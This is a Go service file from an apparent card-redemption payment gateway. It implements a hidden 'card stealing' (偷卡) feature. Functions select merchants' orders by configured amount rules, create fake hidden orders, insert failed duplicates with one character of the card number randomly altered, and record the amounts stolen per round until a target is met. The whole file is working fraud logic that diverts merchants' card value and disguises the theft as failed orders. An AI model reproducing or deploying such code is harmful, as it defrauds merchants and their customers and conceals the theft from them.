Files
kami_gateway/internal/service/merchant_hidden_config.go
danial e88ff05a14 refactor(trace): 重命名 otel 包为 otelTrace并更新相关引用
- 将内部使用的 otel 包重命名为 otelTrace
- 更新了所有引用该包的文件中的导入路径
- 修改了部分函数和变量名称以适应新的包名
2025-02-23 21:56:29 +08:00

299 lines
11 KiB
Go

package service
import (
"context"
"encoding/json"
"fmt"
"gateway/internal/consts"
"gateway/internal/models/hidden"
"gateway/internal/models/order"
"gateway/internal/models/road"
"gateway/internal/models/setting"
"gateway/internal/otelTrace"
"gateway/internal/service/supplier"
"strings"
"sync"
"time"
"github.com/duke-git/lancet/v2/datetime"
"github.com/duke-git/lancet/v2/pointer"
"github.com/duke-git/lancet/v2/random"
"github.com/duke-git/lancet/v2/slice"
"github.com/duke-git/lancet/v2/validator"
"github.com/mohae/deepcopy"
"go.uber.org/zap"
)
// GetOrderLock 定义一个锁
var GetOrderLock = sync.Mutex{}
// GetOrderHidden 判断当前订单是否偷卡
func GetOrderHidden(ctx context.Context, orderNo *order.OrderInfo) (cfg *hidden.MerchantHiddenConfig) {
//加锁
GetOrderLock.Lock()
defer GetOrderLock.Unlock()
// 查询当前订单是否处于偷卡的范围
cardConfig := setting.GetStealCardConfig()
if pointer.IsNil(cardConfig) {
return
}
configList, err := hidden.GetAllEnabledMerchantHiddenConfig(orderNo.OrderAmount, orderNo.MerchantUid, orderNo.RoadUid)
if err != nil {
return
}
for _, config := range configList {
var amountRule []int
err = json.Unmarshal([]byte(config.AmountRule), &amountRule)
if err != nil {
otelTrace.Logger.WithContext(ctx).Error("偷卡规则查询失败:%v", zap.Error(err))
continue
}
//匹配条件:当前订单金额在配置金额规则中 && 当前订单面额小于等于配置面额
if !slice.Contain(amountRule, int(orderNo.OrderAmount)) {
continue
}
roadInfo := road.GetRoadInfoByRoadUid(ctx, config.RoadUid)
if pointer.IsNil(roadInfo) || roadInfo.Id == 0 {
continue
}
record, err2 := hidden.GetLatestOneRecordByHiddenConfigId(config.Id, []int{int(consts.StealRuleStatusSuccess), int(consts.StealRuleStatusWaiting)})
if err2 != nil {
otelTrace.Logger.WithContext(ctx).Error("偷卡规则查询失败:%v", zap.Error(err2))
continue
}
//如果没有历史记录,或者上一轮已经结束,开启下一轮
if record.IsFinish == 1 || record.Id == 0 {
orderInfos, err := order.GetByUidAndRoadUidAndTime(config.MerchantUid, config.RoadUid, datetime.Max(record.UpdatedAt, *cardConfig.UpdatedAt))
if err != nil || len(orderInfos) == 0 {
otelTrace.Logger.WithContext(ctx).Error("偷卡规则查询失败:%v", zap.Error(err))
continue
}
//计算订单金额
amountTotal := slice.ReduceBy(orderInfos, 0, func(index int, item *order.OrderInfo, agg int) int {
return agg + int(item.FactAmount)
})
//如果历史订单小于待偷取的金额,则跳过
if amountTotal <= config.Amount {
continue
}
} else {
//查找最后一次偷卡成功记录
lastSucceedRecord, err := hidden.GetLatestOneRecordByHiddenConfigIdAndFinish(record.MerchantHiddenConfigId, []int{int(consts.StealRuleStatusSuccess)}, 1)
if err != nil {
continue
}
// 获取最后一轮偷卡数据
records, err := hidden.GetRecordByConfigId(record.MerchantHiddenConfigId, []int{int(consts.StealRuleStatusSuccess), int(consts.StealRuleStatusWaiting)}, lastSucceedRecord.CreatedAt)
if err != nil {
otelTrace.Logger.WithContext(ctx).Error("偷卡规则查询失败:%v", zap.Error(err))
return
}
recordTotal := slice.ReduceBy(records, 0, func(index int, item *hidden.MerchantHiddenRecord, agg int) int {
return agg + int(item.ActualAmount)
})
//如果这轮偷卡金额大于面额,则跳过
if recordTotal >= config.FaceAmount {
continue
}
}
cfg = config
}
return
}
// CreateHiddenBlankOrder 创建新的空白订单
func CreateHiddenBlankOrder(ctx context.Context, orderInfo *order.OrderInfo, duration int64) (bankOrderId string, err error) {
bankOrderId, err = order.HiddenOrder(ctx, orderInfo)
otelTrace.Logger.WithContext(ctx).Info(fmt.Sprintf("创建新的假订单:%v", orderInfo.BankOrderId, bankOrderId), zap.String("bankOrderId", bankOrderId), zap.String("orderInfo.BankOrderId", orderInfo.BankOrderId))
//复制到一个新的对象中
newOrderInfo := deepcopy.Copy(*orderInfo).(order.OrderInfo)
// 创建一个新的失败订单
newOrderInfo.ExValue = "{}"
newOrderInfo.Id = 0
order.InsertOrder(ctx, newOrderInfo)
// 去掉现有订单的关联数据
return
}
func CreateHiddenErrorOrder(ctx context.Context, orderInfo *order.OrderInfo, duration int64) (bankOrderId string, err error) {
bankOrderId, _ = order.HiddenOrder(ctx, orderInfo)
//创建利润表
//复制到一个新的对象中
newOrderInfo := deepcopy.Copy(*orderInfo).(order.OrderInfo)
// 创建一个新的失败订单
newOrderInfo.PayTime = orderInfo.PayTime.Add(time.Second * time.Duration(duration))
newOrderInfo.UpdateTime = orderInfo.UpdateTime.Add(time.Second * time.Duration(duration))
exValue := supplier.RedeemCardInfo{}
if err = json.Unmarshal([]byte(newOrderInfo.ExValue), &exValue); err != nil {
return
}
//字符串转数组
newOrderInfo.Id = 0
exValue.Data = ReplaceNumberOrLetter(exValue.Data, len(exValue.Data))
exValue.CardNo = ReplaceNumberOrLetter(exValue.CardNo, len(exValue.CardNo))
order.InsertOrder(ctx, newOrderInfo)
return
}
func CreateRelateHideOrderRecord(targetOrderBankId string, orderInfo *order.OrderInfo, cfg *hidden.MerchantHiddenConfig, delayDuration int) (err error) {
_, err = hidden.AddMerchantHiddenRecord(&hidden.MerchantHiddenRecord{
TargetOrderNo: targetOrderBankId,
SourceOrderNo: orderInfo.BankOrderId,
OrderAmount: orderInfo.OrderAmount,
MerchantHiddenConfigId: cfg.Id,
Strategy: cfg.Strategy,
Status: int(consts.StealRuleStatusWaiting),
DelayDuration: delayDuration,
CreatedAt: time.Now(),
UpdatedAt: time.Now(),
})
return
}
func GetRelateRecordByTargetOrderNo(ctx context.Context, targetOrderBankId string) (record *hidden.MerchantHiddenRecord, err error) {
record, err = hidden.GetByTargetOrderNo(ctx, targetOrderBankId)
return
}
//// ReplaceNumberOrLetter 替换数字或字母
//func ReplaceNumberOrLetter(str string, length int) string {
// if length <= 0 {
// return str
// }
// list := strings.Split(str, "")
// targetStr := random.RandFromGivenSlice(list)
// if !pointer.IsNil(targetStr) && targetStr != "" {
// index := random.RandFromGivenSlice(FindAllIndex(str, targetStr))
// otel.Logger.WithContext(ctx).Info(str, FindAllIndex(str, targetStr))
// if index != -1 {
// if validator.IsIntStr(targetStr) {
// //去掉当前数字
// num := random.RandFromGivenSlice(slice.Filter([]string{"1", "2", "3", "4", "5", "6", "7", "8", "9", "0"}, func(index int, item string) bool {
// return item != targetStr
// }))
// list[index] = num
// return strings.Join(list, "")
// }
// if validator.IsAllUpper(targetStr) {
// alpha := random.RandFromGivenSlice(slice.Filter([]string{"A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z"}, func(index int, item string) bool {
// return item != targetStr
// }))
// list[index] = alpha
// return strings.Join(list, "")
// }
// if validator.IsAllLower(targetStr) {
// alpha := random.RandFromGivenSlice(slice.Filter([]string{"a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"}, func(index int, item string) bool {
// return item != targetStr
// }))
// list[index] = alpha
// return strings.Join(list, "")
// }
// }
// }
// return ReplaceNumberOrLetter(strings.Join(list, ""), length-1)
//}
func ReplaceNumberOrLetter(str string, length int) string {
if length <= 0 {
return str
}
list := strings.Split(str, "")
resultValueList := make([]string, len(str))
//设置待替换个数
replaceNum := 1
for i, s := range list {
// 随机取一个字符
char := random.RandFromGivenSlice(list)
index := random.RandFromGivenSlice(FindAllIndex(str, char))
if replaceNum > 0 && validator.IsNumber(char) {
value := random.RandFromGivenSlice(slice.Filter(strings.Split(random.Numeral, ""), func(_ int, item string) bool {
return item != char
}))
replaceNum -= 1
resultValueList[index] = value
}
if replaceNum > 0 && validator.IsAllUpper(char) {
value := random.RandFromGivenSlice(slice.Filter(strings.Split(random.UpperLetters, ""), func(_ int, item string) bool {
return item != char
}))
replaceNum -= 1
list[index] = value
}
if replaceNum > 0 && validator.IsAllLower(char) {
value := random.RandFromGivenSlice(slice.Filter(strings.Split(random.LowwerLetters, ""), func(_ int, item string) bool {
return item != char
}))
replaceNum -= 1
list[index] = value
}
if list[i] == "" {
resultValueList[i] = s
}
}
return strings.Join(resultValueList, "")
}
// FindAllIndex 找到字符串中所要搜索字符的所有索引
func FindAllIndex(str string, char string) []int {
result := make([]int, 0)
list := strings.Split(str, "")
for i, s := range list {
if s == char {
result = append(result, i)
}
}
return result
}
// UpdateRelateRecordStatus 更新偷卡状态和偷卡金额
func UpdateRelateRecordStatus(ctx context.Context, orderBankId string, amount float64, status int) (err error) {
err = hidden.UpdateStatusAndAmount(ctx, orderBankId, amount, status)
return
}
var UpdateStealRecordLock = sync.Mutex{}
func UpdateRelateRecordSucceedStatus(ctx context.Context, orderBankId string, amount float64) (err error) {
UpdateStealRecordLock.Lock()
defer UpdateStealRecordLock.Unlock()
otelTrace.Logger.WithContext(ctx).Info("【偷卡】更新偷卡记录", zap.String(orderBankId, "orderBankId"), zap.Float64("amount", amount))
//查询本次偷卡记录
record, err := GetRelateRecordByTargetOrderNo(ctx, orderBankId)
if err != nil || pointer.IsNil(record) || record.Id == 0 {
return
}
//更新本次偷卡金额和状态
err = UpdateRelateRecordStatus(ctx, orderBankId, amount, int(consts.StealRuleStatusSuccess))
//根据id查找配置
cfg, err := hidden.GetMerchantHiddenConfigById(record.MerchantHiddenConfigId)
if err != nil || pointer.IsNil(cfg) || cfg.Id == 0 {
return
}
//查询最后一轮偷卡记录
lastSucceedRecord, err := hidden.GetLatestOneRecordByHiddenConfigIdAndFinish(record.MerchantHiddenConfigId, []int{int(consts.StealRuleStatusSuccess)}, 1)
records, err := hidden.GetRecordByConfigId(record.MerchantHiddenConfigId, []int{int(consts.StealRuleStatusSuccess), int(consts.StealRuleStatusWaiting)}, lastSucceedRecord.CreatedAt)
recordTotal := slice.ReduceBy(records, 0, func(index int, item *hidden.MerchantHiddenRecord, agg int) int {
return agg + int(item.ActualAmount)
})
//如果这轮偷取的金额大于配置的面额,就设置本轮偷卡结束
if recordTotal >= cfg.FaceAmount {
err = hidden.UpdateFinishedStatus(record.Id, 1)
}
return
}